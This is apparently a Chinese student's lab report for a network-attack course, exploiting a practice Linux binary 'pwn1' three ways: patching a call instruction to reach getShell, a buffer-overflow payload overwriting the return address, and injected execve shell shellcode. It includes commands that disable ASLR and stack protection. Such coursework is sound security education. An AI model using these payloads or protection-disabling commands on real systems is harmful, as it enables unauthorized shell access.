20165223《网络对抗技术》Exp1 PC平台逆向破解
目录——PC平台逆向破解
1 逆向及BOF基础实践说明
1.1 实践内容
本次的实践对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。pwn1运行截图如下:

本次实验内容(三项):
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
1.2 实践要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
- 掌握反汇编与十六进制编程器 (0.5分)
- 能正确修改机器指令改变程序执行流程(0.5分)
- 能正确构造payload进行bof攻击(0.5分)
1.3 基础知识
- 常用Linux操作指令
objdump -d:对任意一个二进制文件进行反汇编:%!xxd:把二进制文档转成十六进制显示perl -e:指定字符串以作为脚本(多个字符串迭加)执行|:管道,把前者的输出作为后者的输入>:重定向,将输出内容指向一个指定文件
- NOP, JNE, JE, JMP, CMP汇编指令的机器码(参考汇编指令与机器码对照表)
NOP:90。空指令,CPU不做操作,继续执行NOP后面的一条指令JNE:75。条件转移指令,若不相等则跳转JE:74。条件转移指令,若相等则跳转JMP:无条件转移指令。段内直接短转 Jmp short(EB) 段内直接近转移 Jmp near(E9) 段内间接转移 Jmp word(FF) 段间直接(远)转移 Jmp far(EA)CM:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CALL:E8,调用子程序。
2 实验步骤
2.1 直接修改程序机器指令,改变程序执行流程
(1)先通过cp指令将pwn1备份三份,分别重命名为pwn_1、pwn_2、pwn_3,用于后续实验

(2)使用反汇编命令objdump -d pwn_1 | more将二进制文件pwn_1反汇编(more指分页查看)

(3)分析反汇编出来的代码,寻找需要修改的代码对应的机器码

- 在main函数中找到call语句,
call 8048491 <foo>,可以看出:- 调用的是地址为
8048491的foo函数(箭头指向) - 对应找到这句call指令位于地址
80484b5,对应机器码是e8 d7 ff ff ff,查表知道e8即call(跳转)
- 调用的是地址为
- 若无跳转指令,此时EIP的值本该是下一条指令的地址,即
80484ba;但由于call指令,CPU会进行跳转并执行EIP+d7ffffff处的指令,即80484ba+d7ffffff,在计算器中可以算出结果为8048491- d7ffffff是补码,即-41,41换成16进制是0x29
- 80484ba+d7ffffff=80484ba-0x29=8048491
- 要想实现实验目标,手动操作修改程序机器指令,使call指令直接调用getShell,只需要将
d7ffffff修改为getShell对应的地址-EIP的地址对应的补码,即804847d-80484ba的补码,用计算器算出结果为c3ffffff
(4)使用命令vim pwn_1打开可执行文件,使用命令:%!xxd将显示模式由二进制切换为十六进制模式

(5)输入/e8d7指定查找需要修改的部分代码,并比对前后相应代码,确定位置正确

(6)按i切换为输入模式,修改d7为c3,保存

(7)输入:%!xxd -r将十六进制转换为原格式,按:wq保存退出
(8)再输入反汇编命令objdump -d pwn_1,查看到call指令已经被修改为直接调用getShell

(9)运行pwn_1文件,可以看到出现了shell提示符 #

2.2 通过构造输入参数,造成BOF攻击,改变程序执行流
(1)objdump -d pwn_2反汇编pwn_2文件
- 目的是利用foo函数中的Buffer overflow漏洞,通过构造输入的参数来造成BOF攻击
- foo函数中的mov指令读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成缓冲区溢出
- 目的是输入的参数刚好溢出到覆盖掉foo函数到main的返回地址
- main函数在调用foo函数的同时会在堆栈中压入返回地址
80484ae

(2)通过gdb调试确认输入几个参数能刚好覆盖到返回地址


- 看出若是输入
1111111122222222333333334444444412345678,那么1234恰好能够覆盖到返回地址 - 原因是从看eip值可以看出下一条指令的地址是
0x34333231,就是1234按小端输出的ASCII码值 - 因此只需在参数
1234的位置替换输入getShell的目的地址,再将结果输给pwn_2,则可以实现目的
(3)找到需要替换的目的地址

- 之前反汇编时可以看到getShell的目的地址是
0x804847d, - 因此要输入的参数是
11111111222222223333333344444444\x7d\x84\x04\x08\x0a(\x0a换行)
(4)使用perl命令将输入的参数重定向>到BOF1,使用|管道命令将输出的BOF作为pwn_2的输入

- perl命令:
perl -e ' print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > BOF1 - 管道命令:
(cat BOF1 ; cat) | ./pwn_2
2.3 注入Shellcode并执行
(1)准备工作
- 要实现shellcode注入,需要在特定的环境下执行:
- 关闭堆栈保护
- 关闭堆栈执行保护
- 关闭地址随机化
- 在x32环境下
- 在Linux实践环境
- 具体命令:
apt-get install execstack //安装execstack
execstack -s pwn_3 //关闭堆栈执行保护
execstack -q pwn_3 //查询文件堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

(2)查找地址
- 先在命令行输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,其中\x4\x3\x2\x1就是注入shellcode后覆盖到堆栈上的返回地址的位置 - 输入
(cat input_shellcode;cat) | ./pwn_3注入shellcode攻击

- 在Tab2中输入
ps -ef | grep pwn_3,查找pwn_3的进程号为2336

- 在Tab2中使用gdb对pwn_3进行调试,输入
attach 2336运行进程

- 通过
disassemble foo查看foo的汇编代码,可以看到ret指令对应的地址为0x080484ae

- 输入
b *0x080484ae设置断点,回车 - 输入
c(continue),回车,返回Tab1,回车,再返回Tab2,回车 info r esp查看栈顶指针,得到地址为0xffffd37c

- 使用十六进制
x/16x 0xffffd37c查看内存,可以清楚的看到0x01020304
(这里的图忘记截了,用的是本次实验某次同一步操作时的截图)

- 得出结论:返回地址栈顶指针
ffffd37c+4位=覆盖到返回地址的地址,即ffffd380 - 将
ffffd380改写入Shellcode中即可
(3)注入Shellcode
- 命令行输入
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > shellcode - 将其中的
\x4\x3\x2\x1替换为ffffd380,即\x80\xd3\xff\xff - 注入Shellcode攻击:
(cat shellcode;cat) | ./pwn_3,成功

3 实验中遇到的问题及解决方法
(1)修改主机名
- 一开始主机名是直接用kali设置的,后来写报告的时候发现要改成名字拼音
- 参考资料3种方法更改Linux系统的主机名(hostname)
- 输入命令
sudo hostnamectl set-hostname <名字>进行修改


(2)update时出现error,换源并将网络改成桥接模式
- 出现问题如下,更新失败

- 先输入
sudo cp /etc/apt/sources.list /etc/apt/sources.list.old备份源列表 - 输入
sudo vim /etc/apt/sources.list进入源列表换源(这里增加了中科院的源)

- 再次update发现还是出错

- 发现网络未打开,改成桥接模式


- 后来换成了清华的源,再次update成功


- 参考资料:apt-get下载源错误解决方法
(3)shellcode注入段错误问题
- 问题如下:

- 在前面的查找地址、地址计算、输入shellcode部分都正确的情况下为何还会出现段错误呢?
- 一开始百思不得其解,后来多次尝试后发现是之前重启机器后忘记重新关闭堆栈保护导致了错误
- 输入命令
echo "0" > /proc/sys/kernel/randomize_va_space来关闭地址随机化,再进行后续操作就成功了

4 实验收获与感想
(1)思考:什么是漏洞?漏洞有什么危害?
- 漏洞就是系统的弱点和缺陷,是计算机的BUG,是应用软件或操作系统软件在逻辑设计上没有考虑到的疏忽和缺陷或在编写中产生的错误,有被攻击的隐患,导致未授权的访问甚至破坏系统。漏洞的存在给不法分子或黑客攻击者提供了入侵电脑的机会,通常通过植入木马、病毒、钓鱼网站挂马等方式来攻击或控制整个电脑,造成诸如权限替换、窃取资料、信息泄露、病毒传播、恶意勒索、破坏系统等严重后果。
(2)实验收获与感想
- 本次实验使用了三种方法实现PC平台逆向破解,让我熟悉了Kali的使用(其实跟Linux差不多啦)并且循序渐进地学会了这三种攻击方法,特别是之前没接触过的BOF攻击、shellcode注入攻击等,也进一步学习了gdb调试的使用。
- 在实验过程中也遇到了很多问题,主要是update&upgrade时的错误,后来替换了源和DNS就OK了,过程其实跟之前在Linux中遇到的差不多~
- 进一步理解并掌握了堆栈的概念,缓冲区溢出攻击的方法,感觉又进步了一丢丢w
20165223《网络对抗技术》Exp1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 20155227《网络对抗》Exp1 PC平台逆向破解(5)M
20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
随机推荐
- 基于Springboot集成security、oauth2实现认证鉴权、资源管理
1.Oauth2简介 OAuth(开放授权)是一个开放标准,允许用户授权第三方移动应用访问他们存储在另外的服务提供者上的信息,而不需要将用户名和密码提供给第三方移动应用或分享他们数据的所有内容,OAu ...
- 观察者模式 Observer 发布订阅模式 源 监听 行为型 设计模式(二十三)
观察者模式 Observer 意图 定义对象一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖他的对象都得到通知并自动更新. 别名:依赖(Dependents),发布订阅(Publish-Su ...
- 【设计模式】桥接模式 Bridge Pattern
开篇还是引用吕振宇老师的那篇经典的文章<设计模式随笔-蜡笔与毛笔的故事>.这个真是太经典了,没有比这个例子能更好的阐明桥接模式了,这里我就直接盗来用了. 现在市面上卖的蜡笔很多,各种型号, ...
- 一种解决Android studio 3.0 Build报错的方法
问题背景: 最近在开始使用AndroidStudio3.0,刚好有一个开源的项目(Material-Movies),需要学习下.因为该项目比较早(2015年),而这段时间AndroidStudio和G ...
- springboot模块
1.web <dependency> <groupId>org.springframework.boot</groupId> <artifactId>s ...
- asp.net core 集成 log4net 日志框架
asp.net core 集成 log4net 日志框架 Intro 在 asp.net core 中有些日志我们可能想输出到数据库或文件或elasticsearch等,如果不自己去实现一个 Logg ...
- JAVA 四舍五入Math.round方法
今天由于测试场景,利息的计算中涉及小数点的保留.保留的规则是:两位小数+四舍五入方式 使用的语言是JAVA, 看了许多网上的方法.因为最后保留的小数还会进行计算.所以我考虑最好不要保留的结果是Stri ...
- Windows服务器如何查看共享目录信息
查看Windows服务器上的共享目录的相关信息,可以使用两种方式: 1:命令net share 查看: 2:通过计算机管理的Shared Folders查看
- $.each()、$.map()区别浅谈
遍历应该是各种语言中常会用到的操作了,实现的方法也很多,例如使用for.while等循环语句就可以很轻松的做到对数组或对象的遍历,今天想讲的不是它们,而是简单方便的遍历方法. 大致的整理了一下,经常用 ...
- html&css学习笔记----YJZJZQA
HTML表单: (